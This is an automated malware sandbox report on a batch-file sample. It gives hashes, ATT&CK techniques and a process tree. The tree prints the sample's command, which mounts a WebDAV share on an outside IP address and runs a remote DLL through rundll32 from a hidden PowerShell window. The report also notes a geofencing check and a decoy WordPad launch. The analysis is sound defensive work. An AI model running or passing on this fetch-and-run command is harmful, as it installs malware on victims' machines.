1409b6f9cfa72641102b2714eca5ed736ac6d2ad15a8a9b90f796d15dfe71cbe

Analysis

max time kernel
100s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 20:48

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General

Target

8873153963217815223.bat
Size

2KB
MD5

f2da29cd0fe5b748716ed3be26c35736
SHA1

3b1f6d5bf678fce5842be25839e56d83b6e9f1d5
SHA256

1409b6f9cfa72641102b2714eca5ed736ac6d2ad15a8a9b90f796d15dfe71cbe
SHA512

0214368f1a5ccebff7c2353bee1600f555e9119304a0680b97510fa60ff6dbad199746f5d331d1a7b8382296d39525ff223ab6a006a6ef2878505f5fc6e78f6d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4336	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4336	powershell.exe
4336	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4336	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2776	wordpad.exe
2776	wordpad.exe
2776	wordpad.exe
2776	wordpad.exe
2776	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 2776	1368	cmd.exe	85
PID 1368 wrote to memory of 2776	1368	cmd.exe	85
PID 1368 wrote to memory of 4336	1368	cmd.exe	87
PID 1368 wrote to memory of 4336	1368	cmd.exe	87
PID 4336 wrote to memory of 4708	4336	powershell.exe	89
PID 4336 wrote to memory of 4708	4336	powershell.exe	89
PID 4336 wrote to memory of 4204	4336	powershell.exe	90
PID 4336 wrote to memory of 4204	4336	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8873153963217815223.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1845.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4708
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1845.dll,entry
    3⤵
    PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tvsxbjy.xc0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4336-9-0x000001CC43B50000-0x000001CC43B72000-memory.dmp

Filesize
136KB

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